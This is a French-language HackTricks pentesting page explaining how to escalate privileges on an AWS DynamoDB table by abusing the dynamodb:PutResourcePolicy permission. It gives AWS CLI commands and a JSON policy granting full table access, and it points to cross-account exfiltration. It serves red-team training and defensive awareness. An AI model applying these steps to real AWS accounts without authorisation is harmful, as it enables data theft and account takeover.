AWS - DynamoDB Privesc

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

dynamodb

Pour plus d'informations sur dynamodb, consultez :

AWS - DynamoDB Enum

dynamodb:PutResourcePolicy, et éventuellement dynamodb:GetResourcePolicy

Depuis mars 2024, AWS propose des politiques basées sur les ressources pour DynamoDB (AWS News).

Ainsi, si vous avez le dynamodb:PutResourcePolicy pour une table, vous pouvez simplement vous accorder, ou accorder à tout autre principal, un accès complet à la table.

Accorder le dynamodb:PutResourcePolicy à un principal aléatoire se produit souvent par accident, si les administrateurs pensent que l'octroi de dynamodb:Put* ne permettrait au principal que d'ajouter des éléments à la base de données - ou s'ils ont accordé cet ensemble de permissions avant mars 2024...

Idéalement, vous avez également dynamodb:GetResourcePolicy, afin de ne pas écraser d'autres permissions potentiellement vitales, mais seulement d'injecter les permissions supplémentaires dont vous avez besoin :

bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json

Si vous ne pouvez pas récupérer la politique actuelle, utilisez simplement celle-ci qui accorde un accès complet sur la table à votre principal :

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}

Si vous devez le personnaliser, voici une liste de toutes les actions DynamoDB possibles : AWS Documentation. Et voici une liste de toutes les actions qui peuvent être autorisées via une politique basée sur les ressources ET lesquelles de celles-ci peuvent être utilisées entre comptes (pensez à l'exfiltration de données !) : AWS Documentation

Maintenant, avec le document de politique policy.json prêt, mettez la politique de ressource :

bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"

Maintenant, vous devriez avoir les autorisations nécessaires.

Post Exploitation

Autant que je sache, il n'y a aucun autre moyen direct d'escalader les privilèges dans AWS juste en ayant quelques autorisations dynamodb AWS. Vous pouvez lire des informations sensibles à partir des tables (qui pourraient contenir des identifiants AWS) et écrire des informations dans les tables (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la page Post Exploitation de DynamoDB :

AWS - DynamoDB Post Exploitation

À FAIRE : Lire des données en abusant des flux de données

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks